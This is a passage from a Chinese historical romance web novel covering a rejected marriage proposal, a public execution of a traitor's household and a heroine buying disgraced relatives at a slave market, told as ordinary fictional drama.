不管事实是怎样的,她一定要弄清楚,若是那人真在府中……能在短短不到一年的时间内,将阿逸教到这种地步,也绝不简单。 而这样的人,隐姓埋名藏在沈府,必定是有什么不可告人的目的,不将此人弄清楚,即便是这府中有众多暗卫,她晚上也睡不安稳。 见沈逸苟着脖子,双眼滴溜溜直转,沈琼华便知他又要找借口耍滑头,直接便道:“你若是不说,那我就去跟娘说你骗了她,你猜娘会不会又反悔不让你习武了?” 说完,径直站起身就要朝外走去。 惊得沈逸连忙动身去拦,“阿姐!不要!” 沈琼华垂眸看他,“你说不说?” 沈琼华咬死不放,沈逸眼珠一转,道:“阿姐,你别以为我不知晓,你与那瑞王的关系根本就不像表面上看起来那般简单。” “他上一回送我回来还直接进了你的闺房呢,你要是敢跟娘告状,我就将此事说与阿娘听!” 沈逸梗着脖子瞪着眼,与沈琼华对峙。 大不了,两败俱伤。 不过阿姐肯定不敢叫阿娘知晓此事,不然方才也不会极力隐瞒了。 他这般笃定地想着。 沈琼华听着沈逸言语中的威胁,眉心一跳。 臭小子!毛都没长齐,竟还敢威胁她了! 沈琼华微笑,露出八颗贝齿,笑意盈盈道:“好啊,你去跟阿娘说啊,看阿娘是会相信你,还是会觉得你是故意报复我,在胡说八道。” 沈逸梗得通红的脖子一僵,倏然瞪大了眼。 眼前沈琼华明艳的脸庞在他眼中犹如恶魔般,露出尖尖的獠牙朝他扑过来。 “还不快说!” 第四百零一章自说自话,忒不要脸! 冬夜。 寒风呼呼地刮着,裹挟着干枯的树枝在黑暗中张牙舞爪的起舞。 谢南渊轻声落地,就在他放下窗户的一刹那,屋内的一盏烛台倏而被点燃。 他身形一顿,漆黑如墨的瞳孔在眼眶内缓缓移动,对上了一双隐含怒火的明亮双眸。 沈琼华穿戴整齐的坐在小几旁,手中捧着一盏烛台,三千青丝披散在肩头,姣好的面容上隐隐含着怒气,红唇紧抿着。 就连生气的样子,都让他移不开眼。 这么晚了,穿戴这么整齐,是在等他吗? 这是谢南渊脑中浮现的第一句话。 应该是的吧,不然今日为何回自己院中住了? 这是第二句话。 谢南渊嘴角不受控制地扬起,倏而又落了下来。 这气鼓鼓的,他又哪里惹她生气了? 谢南渊一便想着,一边脚步不受控制地朝沈琼华走去。 “今日怎么没有去沈夫人的院中?想见我,派人来说一声便是,若是我今日没来,你岂不是要白白等上一场?” 嘴上这般说,可是语气中遮都遮不住的愉悦泄露了他此刻的好心情。 沈琼华听到这话,极不文雅地朝谢南渊翻了个白眼,却见这人笑得更欢了。 笑什么笑! 她今日是来算账的!不是来赔笑的! 能不能严肃一点! 眼看这人毫不见外地就要在她身旁坐下,沈琼华一掌拍在小几上,烛火震了三震,谢南渊正要坐下的动作一顿,缓缓站直了身体。 眼中含笑,道:“怎么了这是?这么生气?” 嬉皮笑脸的! 沈琼华告诉自己要崩住,缓了缓,这才顶着一张冷若冰霜的脸,问道:“阿逸的武功最开始是你教的?” 谢南渊微微一愣,眼中闪过一丝意外,犹豫了一会儿,才点头承认道:“对,最开始是我,朝中事物繁忙时是临泽,我出征之后便让暗一指导他。” “不过他是有些天赋的,虽然学的时间不长,但假以时日,定能学成……”顿了顿,偷偷瞥了一眼沈琼华的脸色,话锋一转,道:“不过也幸好教了他一些,不然此次怕是就有些棘手了,你……不会是为此生气吧……?” 这话说得可真有水平,那些小心思是半点不提。 沈琼华都要被气笑了,阴阳怪气道:“王爷对沈家还真是关心,日理万机的,竟还有空闲教一个孩童习武。” 谢南渊轻咳一声,道:“那自是没有那么空闲的,不过阿逸是你的弟弟,那也算是本王的弟弟,以后在本王心中也是与小五无异的,那自然是要另当别论,当然要帮他完成这个心愿。” “就算是辛苦些,看在你的份上,我也是无怨无悔的。” “你!你!”沈琼华被他这一番厚颜无耻的言论气得胸膛起伏,下意识想要抓起什么砸过去,可四下空空,只剩一盏烛台,只能作罢。 只嘴上骂道:“谁是你弟弟,王爷不要太自作多情!” “我且问你,你教阿逸习武,是不是在收买他!” “我就说他那日好端端的,为何突然提出要去霍府让霍璟指导,还说什么霍璟来沈府会惹来闲言碎语,是不是你教他这么说的?” “是不是你!” “是!”谢南渊一口应下。 看着沈琼华难以置信的眼神,似是没想到他这么痛快认下一般,接着道:“那又如何?他自己愿意听我的话的,谁让那个霍璟总是缠着你,还什么指导课业,分明是冲着你来的!” “既是冲着你来的,那我也就没有必要客气了!自然是要将他赶出去的!” 谢南渊这一番话说得颇为理直气壮,话中的强势与眼中的占有欲毫不掩饰。 沈琼华气得不行,“这是沈府,你凭什么将人赶出去!你这样做,若是被霍璟知晓了,我成什么人了!” 尤其是分明是她主动请霍璟来指导阿逸的。 之前不知情,也确实是为了二人名声着想,转变成让阿逸去霍府。 可如今隐情揭露,这一下子,仿佛就变了味,倒像是她沈家在赶人一样。 她都不好意思见霍璟了,偏偏这罪魁祸首还理直气壮的。 谢南渊冷哼一声,“管他怎么想的,谁让他觊觎本王未来的王妃,本王当时是还没明白自己的心意,若是放到现在……哼!” “哪还用得着阿逸,本王就直接亲自上手赶人了!” “如今,倒还便宜他了!哼!” 语气里的霸道与醋意遮都不遮了,明明白白地摊开给沈琼华看。 清清楚楚地告诉沈琼华,他,谢南渊,心悦与她。 不能容忍任何人撬他的墙角,对她献殷勤。 沈琼华气得心口都有些疼了。 呸!谁是他未来的王妃! 她答应了吗? 自说自话,忒不要脸了! 这人怎么从边关转一圈回来,脸皮愈发厚了? 第四百零二章我们不合适 见沈琼华一副气鼓鼓的模样,谢南渊心中失笑,下意识朝她走近。 沈琼华心中正羞恼不已,见他靠得那么近,下意识朝他胸膛推了一把。 “你离我远点。” 哪知这一推,直将谢南渊推得后退了好几步,只听得他闷哼一声,沈琼华抬眼看去,就见他站在那,一只手捂着自己方才推他的胸口处,面色微白,一副难受的样子。 又想骗她? 她是不会上当的! 沈琼华冷哼一声,道:“别装了,我是不会在同一个地方被你骗两次的。” 话落,径直移开视线看向别处。 空气中静谧得可怕,只能听到对方的呼吸声。 半炷香的时间悄然划过,沈琼华明显察觉到谢南渊的呼吸愈来愈粗重了。 复又抬眼看去,就见人还是捂着胸口傻愣愣地站在那里,只是苍白的神色间又增添了几分痛苦,心里顿时咯噔一声。 不会吧? 不会真受伤了吧? 战场上刀剑无眼,受一些伤也很正常,她不会是正好碰到他伤口了吧? 没有那么寸吧? 沈琼华一边眼神闪烁,一边踌躇不定的上前,试探地开口道:“谢……谢南渊……你怎么了?” “疼……”谢南渊气若游丝道。 沈琼华在他面前站定,才发现他饱满的额头上已经沁出了细微的汗珠,心里顿时一慌。 “谢南渊?谢南渊你怎么了?你别吓我啊?我……我是不是打中你受伤的地方了?” “你……你快给我看看,让我看看严不严重,若是严重,我现在就给你请大夫!” 沈琼华一边说着,一边就要去扯谢南渊的衣领,满脸焦急。 谁料手刚刚碰到他的衣领处的肌肤,方才那一直死死捂住胸口的宽大手掌便抓住了她的手,放在胸口处。 略带戏谑的声音在耳畔响起,“沈琼华,你这么迫不及待地扒我的衣裳,还说对我没有感觉?” “你若是想看,直说便是,我自衣衫尽褪,任你欣赏,不必你亲自动手。” 昏黄的烛光下,原本漆黑如墨的双眸中似是坠入了星辰般,一眨不眨地看着沈琼华,嘴角勾起了一抹若有似无的坏笑。 那个白日里金贵矜持,待人冷淡疏离的瑞王,此刻像极了一个调戏良家的浪荡子。 而沈琼华,便是那个被调戏的良家。 这……这人怎么就变成这样了? 油嘴滑舌,油腔滑调! 还是说他原本就是这样,只不过从前隐藏得深,她不曾发觉罢了。 被调戏的羞恼,以及被欺骗的愤怒掺杂在一起,沈琼华那张明艳的小脸瞬间红了。 漆黑的夜,昏黄的烛光,灯下气得脸蛋羞红的心上人……谢南渊的瞳孔更加深邃了,喉结不自觉上下滚动。 沈琼华的手被谢南渊抓着,二人挨得极近,自是察觉到了谢南渊的动作,当即更气了。 她气急败坏道:“谢南渊!你个登徒子!竟然又骗我!还不快放开我!” 她用力挣扎着,谢南渊却将人攥得更紧了,大掌微微一用力,将人搂进了怀中。 双手环抱住,微微低头,下巴搁置在沈琼华的颈肩上,闭上眼睛,享受着内心的片刻安宁。 早在他回来那日,在大殿之上,他就像这么做了。 却硬生生拖了这么多日。 而被他抱着的沈琼华,则是双目瞪圆,双手拍打谢南渊的背部,“谢南渊!你不要太过分了!!!” 她就不该心疼他! 管他在边关受了什么伤,关她什么事! 就在沈琼华不依不饶地拍打时,一只大手抚上了她的发丝,“沈琼华,我好想你啊。” 沈琼华挣扎的动作微微一顿,心中涌出一丝难以言喻的感觉,酸酸的,瑟瑟的,她哼冷一声,“世人都说瑞王殿下不近女色,如今看来也不尽然,在边关打仗还有时间想女人,只可惜,我不想你!” 近似于赌气一般的话,引来了谢南渊的失笑,紧挨着的身体,胸腔似是都在震动。 在看不见的地方,沈琼华柳眉倒竖,“你笑什么!” 有什么好笑的! 耳畔传来了温热的气息,暧昧中带着一丝打趣,“小骗子,平宁都跟我说了,你听到我失踪都吓得晕倒了,明明心中有我的,却偏偏不肯承认。” 沈琼华脑中‘轰’地一声炸了。 他知道了! 希瑶居然将这件事情跟他说了。 沈琼华此刻恨不得找个地缝钻进去,只觉得丢脸极了。 可是事已至此,输人不输阵,还是嘴硬道:“瑞王殿下未免太过自作多情,我只是怕你死了,有碍于我覆灭永宁伯府的大计罢了。” “不干其他任何原因,你不要胡乱攀扯。” 谢南渊早就见识到了沈琼华的这张嘴有多硬,知晓她是不会轻易承认的。 他放松了钳制着沈琼华的力道,沈琼华察觉到立即从他怀中挣脱了出来,拔脚就想要跑,却被男人的双手抓住了臂膀,微微用力一拉。 使得沈琼华不得不正面面对谢南渊的眼睛。 那双平时如古井无波般的眸子中,此刻眼中的深情似是都快要溢出来。 沈琼华听见这双眼睛的主人问,“沈琼华,我平安回来了,你是不是该告诉我你的答案了?” 答案? 什么答案? 忽然,沈琼华回忆起谢南渊出征前一晚。 身穿古铜色铠甲的少年郎趴在墙头说,等他回来要问她答案。 愿不愿意嫁给他? 沈琼华惊恐地发现她竟然迟疑了。 不……不该是这样的。 她还有沈家,还有阿娘和阿逸,还有广袤的天地,她不该将自己困在王府内宅之中,困在深宫大院之内。 一旦嫁给谢南渊,全身心依附于一个人,余生太长,若是谢南渊将来变了,抛弃她亦或是……她连反抗的能力都没有。 毕竟按照如今这趋势,谢南渊很有可能会被封为太子,那就是下一个帝王。 世上能有几人能与帝王作对呢? 更何况,如今谢祁安死了,皇上不需要再制衡两方的平衡,若是皇上真准备封谢南渊为太子了,以她的身份想要坐上太子妃之位,难如登天。 便是谢南渊坚持,恐怕皇上也不会同意。 而她,绝不可能为人妾室。 沈琼华理好了自己的思绪,再次抬头,便对上谢南渊满是期盼的眼神,心中一阵酸涩,却还是道:“你就那么想知道答案?好,我现在就告诉你,我不愿意。” “你说什么?”尽管早有心理准备,可听见沈琼华话说出口的那一瞬,谢南渊心中还是泛起了一阵密密麻麻的刺痛。 沈琼华撇过头,重复道:“我说我不愿意。” “为何啊?你心中明明有我,我心中也有你,你因何不愿意?”谢南渊大掌掐住沈琼华的下巴,将头掰回来,定定地看着沈琼华,似是想要通过这一双眼睛,看到她的心底深处。 沈琼华心中一悸,面上却平静道:“我们不合适。” 第四百零三章知道了是什么意思? “不合适?哪里不合适?”谢南渊语速极快道:“这是你我二人之间的事情,只要你我二人情意相投,旁人有何资格置喙?” “你别再问了,不合适就是不合适。”沈琼华道。 虽然心中也难受不已,但情爱并不是一个人的全部,她并不愿意为了所谓的情爱,将自己困与方寸之地,也不愿为了所谓的情爱,换来重蹈上一世的可能。 人心,向来是赌不起的。 谢南渊见沈琼华别扭的样子,心中不免受创,神色间难免带上几分焦急,“有什么问题你说便是,我们可以一起解决啊,还是说是你有什么顾虑?” “难道我们认识了这么久,你对我还留有疑虑吗?” 谢南渊絮絮叨叨地念着,完全没有了往日里寡言少语的模样。 沈琼华被他缠得无可奈何,终是松了口,道:“我们之间,你的身份就是最大的问题。” 谢南渊得到了答案,却更加疑惑了。 既然话说出口了,沈琼华索性都说了,“你是王爷,将来还有可能是太子,是帝王,而我,不可能也不愿永远被困在后宅的一亩三分地内。” “况且经历过安王一事,我心中始终有疑虑,而这个疑虑会伴我一生。” 谢南渊眉头紧拧,“你是说……” “我没有办法如相信阿娘和阿逸一样去相信另一个人,尤其是这个人的地位远在我,在沈家之上。” “若是我与你在一起,我没有办法全身心的交付于你,余生太长,人心易变,谁也不知道今后会怎样。” “从前,安王只是一个王爷,他算计沈家,我尚能与你联手对抗他,可若是将来你登上帝位,一旦我与你站在对立面,我即便再如何反抗,也逃不出你的掌控。” “比起嫁给一个京中子弟,嫁给你,更加令我不安。” “这就注定了,即便我们在一起,我对你始终留有余地,不可能像其他夫妻一般百分百信任。” “这样的我,你还想要娶吗?” “不若就还是当个合作伙伴,起码这样的关系,要比成为夫妻,更让我相信你,也更坚固。” “更何况……”沈琼华轻轻一笑,“若是皇上封你为太子,你的太子妃必将是世家贵女才是,皇上是不会允你娶我的,而我……也不愿为妾。” 沈琼华话落,屋内陷入了长久的寂静。 良久后,谢南渊才开了口,嗓音带着一丝暗哑,“所以,这就是你一直拒绝我的原因?” “你觉得自己不能百分之百的信任我,你觉得我会让你为妾?” 不知为何,沈琼华似是从他周身骤降的气场中窥探到了一丝名为伤心的情绪。 即便是如此,她也还是坚定地点头,“是。” 话落,又是长久的沉默。 就在沈琼华以为谢南渊要发怒之时,一只大掌抚上了她的发顶,轻轻的,柔柔的,似是生怕弄疼了她。 沈琼华听见谢南渊道:“我知道了,先走了,你……好好休息。” 温热的大掌移开,下一瞬,人影便从眼前消失了。 窗帘落下,几丝寒气从缝隙边缘悄悄溜进来,冻得沈琼华一个哆嗦。 她伸手,轻轻抚上自己的脸,蹙眉想着谢南渊方才的话。 知道了……是什么意思? 是准备将心思收回了? 那还挺好的。 做朋友,也不错。 沈琼华想着,嘴角微微弯起,只是眼中的落寞连她自己都未曾察觉。 —— 自谢南渊那晚回去后,便再也没来过沈府。 第二日的夜晚,沈琼华失眠了。 第三日,是永宁伯府一众人斩首的日子,沈琼华特意一早起来梳洗打扮好,带上林婉茹和沈逸前往刑场。 沈琼华决定带着一家人去往刑场,自然是有用意的。 永宁伯不是对阿娘贼心不死吗? 不是事到如今,都要上断头台了,还痴心妄想着死后能到地下与阿娘做一对夫妻吗? 那她偏偏要让永宁伯在最狼狈,最落魄之时看见阿娘,看见阿娘活得好好的,断了他那不要脸的念想。 让他死都不能瞑目。 这样,才是对其最好的报复。 一行人到了刑场之时,永宁伯一众已经被压在上面了,刑场的周围围了一圈百姓。 由于永宁伯府的罪名是通敌叛国,又牵扯到了谋逆,引得人神共愤,押送过来的途中被不少百姓仍臭鸡蛋,烂菜叶,因此个个形象都很是狼狈不堪。 可饶是如此,沈琼华还是一眼就看见了跪在中间的永宁伯和周瑾林。 这二人早就没有了之前不可一世的模样,此刻都只是人人喊打的老鼠任人奚落。 沈琼华一早便让府中的小厮占好了位置,在人群的最前端,她要清清楚楚地好好欣赏永宁伯的表情,以告慰阿爹的在天之灵。 时辰也差不多了,当沈琼华带着林婉茹走到人群最前端时,永宁伯身后的牌子被丢在地上,刚好头颅被压上了断头台。 说来也巧,似是感应到了什么一般,永宁伯朝着林婉茹所在的位置看了过来。 只一眼,瞳孔一震,嘴唇嗡动,“茹——” ‘儿’字还未说出口,斩首的大刀便已落下。 “噗嗤——” 鲜血飞溅。 那一日,永宁伯府一众人的鲜血染红了刑场的地面。 第四百零四章狗咬狗 永宁伯府斩首示众的第二日,奴隶所便来了一个面带薄纱,出手阔绰的女子。 女子身着一身香妃色云锦衣袍,满身珠翠,身后跟着一位看着就不好惹的侍卫,一副大户人家的做派。 一进奴隶所,便点名了要在此次被抄家充入奴籍的人中,挑几个女奴买回去。 牙人收了女人递过去的赏银,笑得见牙不见眼,忙不迭地就将人引到一个巨大的笼子前,指着里面的人道:“这位小姐,你看,这里面就是此次充入奴籍的所有女奴了。” “除去其中一些年老色衰的,那些年轻的,她们原先可都是大户人家的小姐,各个貌美如花,那肌肤嫩得都能掐出水来。” “也就是您来得及时,若是再来晚一些,只怕就都要被京中的公子富商们哄抢一空了。” “她们虽说今后身份低贱,便是连个妾也当不得,可拘在府中当个暖床的玩意儿,等腻了,再送与旁人,也是使得的。” 这个笼子很大,牙人一路引着女人挑选,嘴里还在絮絮叨叨地说着。 说完,又察觉到女人的冷漠,笑着拍了拍自己的嘴,道:“瞧我,真是糊涂了,跟小姐您说这些做什么,凭白污了您的耳。” “她们若是有福气,入了小姐您的眼,带回去做个粗使女奴,也就不必沦落到那等下场了。” “小姐,您可有中意的人选?” 牙人见女人都是扫一眼就继续往前走,丝毫没有停留的意思,心中不免有些焦急。 周令芙一路走过去,目之所及,大都是此次安王谋逆一事被牵连的大臣家的女眷。 其中还有不少眼熟的面孔,很多都是从前看不起她,高高在上的贵女,如今皆沦为了任人买卖的女奴,低贱到了尘埃里。 周令芙的到来,在这些人当中引起了不小的轰动。 都是曾经千娇百宠的贵女,锦绣堆里长大的,到了十六岁还未曾嫁人,大都是已经定了亲,得家里宠爱,不舍得早早放出去,想着多留些日子,却不想如今沦落到了这等地步。 想要嫁与之前定亲的人家是不可能了,清白的妙龄女子进了这奴隶所,等待她们的会是什么下场,众人都心知肚明。 原本都已经心灰意冷,甚至有些人打定主意,若是真被人买去当做玩意儿遭受欺凌,就立马咬舌自尽。 可周令芙的到来,让这些人看到了希望。 女子买女奴大都是买回去当做粗使丫鬟的,要比被男子买去好得多,起码保住了清白,不必像个低贱至极的货物一般任人玩弄。 若是放在从前,这样的身份,这些高高在上的大小姐定不会多看一眼,可是如今,这已经是难得的好去处。 因此周令芙所过之处,哀嚎求饶声一片,希望周令芙能将她们带走,免受欺凌。 周令芙虽然有些许不忍,但始终记得自己如今的身份,也铭记今日此行的目的,并不曾多做停留。 待看完了一圈,周令芙都没有在人群中找到自己想要找到的人,不免眉心紧蹙。 怎么回事? 难道她来晚了,已经被人买走了? 思虑再三,周令芙正要开口询问牙人,就见几个身形高大的武夫挥舞着手中的鞭子,压着几个双手被捆绑的人朝这边走来。 武夫打开笼子,颇为粗暴地将几人推耸了进去。 再次见到这些熟人,周令芙只觉恍如隔世,隔着遥遥几步距离的笼子,周令芙指着周令宜一行人,问人牙,“她们这是怎么了,为何要将她们绑起来?” 不怪周令芙有此一问。 奴隶所也有奴隶所的规矩。 奴隶所本就是靠买卖为生,这里大多数都是被贬为奴的管眷及其后人。 若是男子还好说,不听话打一顿便是。 可这女子,尤其是那些未曾出阁便被贬为奴籍的官宦之女,各个生得不说国色天香,倾国倾城,却也是貌美如花,肤如凝脂。 奴隶所还指望着这些人能够买个好价钱呢,哪舍得捆绑打骂,若是被折磨得损了颜色,那折损的可就是奴隶所的银子。 因此这些女眷,只要不惹事,基本上是不会对她们做什么的。 当然,若是等买家交了银钱,这些女眷却不愿意跟买家走,奴隶所武夫们手中的鞭子,就不会像如今这般客气了。 定会让这些人尝一尝疼痛的滋味。 打的半死,就会乖乖跟着走了,只要不损伤了那张脸,大多数买家都是不会介意的。 可周令宜一行人双手都被捆住,显然是不在‘听话’之列。 牙人朝周令芙指的方向看去,颇为头疼地暗叹一声道:“那些罪奴不停话,从关进来的第一天起,便打了起来,短短几日的功夫便打了数十场。” “您说这不是瞎闹吗?若是打坏了,我奴隶所的损失谁来陪,只能派人将她们的双手绑起来,单独关押,免得殃及了旁人。” “就这,还不消停。” 似乎是为了印证牙人的话,牙人话音刚落,那笼子中便又闹了起来。 林惜颜被推耸在地,缓了一会儿,便立即朝周令宜扑了过来,“周令宜,你个贱人!你竟敢做出这等不知廉耻之事,当初我就该杀了你,我林家如今沦落到今日这地步,都拜你们所赐!” 永宁伯府覆灭后,作为安王的爪牙,给陈国传递消息的林家自然也难逃覆灭的命运。 林惜颜在府中接到圣旨的那一刻,只感觉天都要塌了。 那一刻,林惜颜后悔极了。 她不应该应下安王的求亲,这样的话父亲就不会彻底倒向安王,也就不会冒着掉脑袋的风险帮安王做那些事,林家就不会沦落到这等地步。 别看她之前看似很心悦安王,但那大多数都是看在安王皇子的身份以及俊逸的容貌上的。 如今安王都死了,容貌也就不那么重要了,身份就更遑论了。 所以,在林惜颜的心目中,她是竹篮打水一场空,不仅没有得到王妃的尊荣,还搭上了她原本富贵的生活,沦落到了阶下囚的地步。 在诏狱那段惶恐不安的日子,早就将她对安王仅剩的那点情谊给磨没了,甚至在暗无天日的狱中,滋生出了恨意。 恨安王连累了林家。 而这恨意,在统一被压入奴隶所见到永宁伯府女眷的那一刻,都被她记在了周令宜一行人身上。 所以才在这其中针对打压,闹出不少事情。 而其他人则是对这狗咬狗的一幕,视若罔闻,甚至恨不能拍手叫好。 毕竟她们大多数都是受到安王的牵连才落到如此下场,林惜颜是安王名义上的未婚妻,永宁伯府则是安王的外家,这两方闹得越凶,她们才能一解心头之恨。 若不是碍于怕受到惩罚,她们恨不能亲自上手撕了这两方人。 因着林惜颜频频惹事,奴隶所的人才将她们的双手都捆了起来,可即便是这样,仍旧阻止不了林惜颜。 尤其是方才,她趁林氏不注意,将周令宜扑倒在地,坐在她身上打周令宜,周令宜突觉肚痛,两方人都被奴隶所的人带走,之后,她知道了一件事。 这件事情让她明白了她就是个蠢货,一直被永宁伯府的人和安王玩弄于掌心,还将自己弄到这副田地,心中的恨意难以自控。 遂一得了自由,便又要去撕打周令宜,可惜被林氏给拦住了。 第四百零五章这三个人我要了 林氏倒是真的心疼这个女儿,方才周令宜差点被林惜颜打得动了胎气,林氏如何还敢让林惜颜靠近周令宜。 不是说她有多心疼周令宜腹中的孩子,这个孩子如今就是个烫手山芋,是个催命符。 可是如今也不能在这奴隶所流掉。 女子流产极损耗身体,这奴隶所连个正经大夫都没有,只有那会点三脚猫医术的,能简单把个脉开点外伤药,怕女子容颜有损,耽误了奴隶所的生意。 原本林氏还想着,若是能顺利脱身,便找个靠谱的大夫将这个孩子打掉,可惜林惜颜如疯狗一般纠缠不休,方才打得宜姐儿腹痛不止。 奴隶所的大夫把了脉,到底是没瞒住。 也不知奴隶所的人会如何对待宜姐儿。 林惜颜被林氏拦住还闹腾不止,两人即便是被绑着双手,也还是撕打成一团。 一旁的老夫人看着这一幕,眼神都未曾波动一下。 早在永宁伯府抄家下狱圣旨下达的时候,老夫人的精气神就已经被抽走了。 昨日听到永宁伯已经被斩首示众的消息后,又晕死过去了一回,直至今日得知周令宜身怀有孕时,眼底深处才掀起了一丝涟漪,可是想到了安王的死因,眼底的希望又化为灰烬。 笼中又闹了起来,那名一直服侍周令芙的牙人走了过去,斥道:“又在闹什么!若是弄伤了脸,砸在了手里,休怪我对你们不客气!” 就在牙人烦躁不已时,一名武夫朝他走了过去,凑到他耳边低声说着些什么。 “什么!你说她有孕了!”牙人惊愕道。 目光落在了周令宜的身上。 他声音太大,在场的人几乎都听到了,具都朝周令宜看去。 大家都是熟人,谁能不知晓谁的底细,周令宜可还是待字闺中,不曾嫁人,连议亲都不曾,这突然怀孕,那这孩子的父亲就很值得令人深思了。 周令芙原本也乐意看狗咬狗,毕竟她的‘死’,这两方人都有责任,尤其是林氏母女,可却没想到会突然得知这个消息。 周令芙便想到了她那个枉死的孩子,瞬间红了眼眶,眼底掀起了惊涛骇浪。 牙人一开始是脑子蒙了一瞬,可下一刻就发了大怒,“这怀着孕岂不是会影响了我做生意,赶紧的,不管用什么方法,必须将她肚子里的孩子赶紧给我弄掉!” “是!”武夫应下,就要打开笼子,将周令宜提溜出来。 “等等!”周令芙开口道,“这三个人我要了,需要多少银子?” 周令芙的手指向周令宜,从林氏身上划过,最后落到了老夫人的身上。 看见是个带着面纱的女子,三个人的眼睛陡然一亮,就连已经心如死灰,以为要在这奴隶所磋磨至死的老夫人,面上都闪过一丝激动。 老夫人是个惜命的人,即便是到了如今的地步,遂心如死灰,却也想要活下去。 从前原以为是没机会,毕竟这奴隶所中会有人出银子买花容月貌的年轻女子,也会有人买中年力壮的洒扫婆子,但谁会买一个风烛残年的老人呢。 像老夫人这样的年纪,手不能抗,肩不能挑的,买回家不仅不能做事,恐怕还得让人来伺候她。 还怕她一不小心死了,坏了家里的风水。 这样的人,也是奴隶所最为头痛的存在。 可眼下周令芙居然说要将老夫人一块买下,这着实出乎了牙人的意料。 毕竟她挑选的三个人,一个是怀孕的,一个是迟暮的老人,还有一个年纪偏大,看着就做不了太多活儿的林氏。 一下子甩掉三个这样的包袱,牙人都有些喜出望外,觉得周令芙要么就是脑子有问题,要么就是同情心泛滥,看着人家怀孕了,还有老人,心里不忍,才将人买下。 他说了一个数。 周令芙很爽快地从袖中掏出银票递过去。 看着面前的银票,对于这种过于坑人的行为,牙人心里都划过一抹不忍,他犹豫一番开口道:“这位小姐,要不你再考虑考虑?” 周令芙直接将银票塞到了牙人的手中,道:“现在可以放人了吗?” 牙人心里不忍,手却很诚实地飞快将银票收了起来,笑得见牙不见眼,朝武夫道:“还不快将人带出来,让这位小姐带走。” 武夫愣了愣,连忙去开锁。 与林氏撕扯的林惜颜也看见了这一幕,连撕扯都顾不上了,一脚踹开林氏,想要跑出笼子,却被武夫一脚踹了回去。 隔着一扇铁栏,林惜颜的手伸出铁栏攥住周令芙的衣角,吼道:“你是不是傻,买她们做什么,你买我,我可是林家大小姐!” 林惜颜不傻,她知道自己在这里接下来会面对什么,因此,对于这难得的机会,她也不愿放手。 更不愿让她痛恨之人得了这个机会。 只是可惜,她向来嚣张跋扈惯了,即便是现在有求于人,她也还是没有放下她那高高在上的架子。 说出的话,更像是带着指使和命令的语气。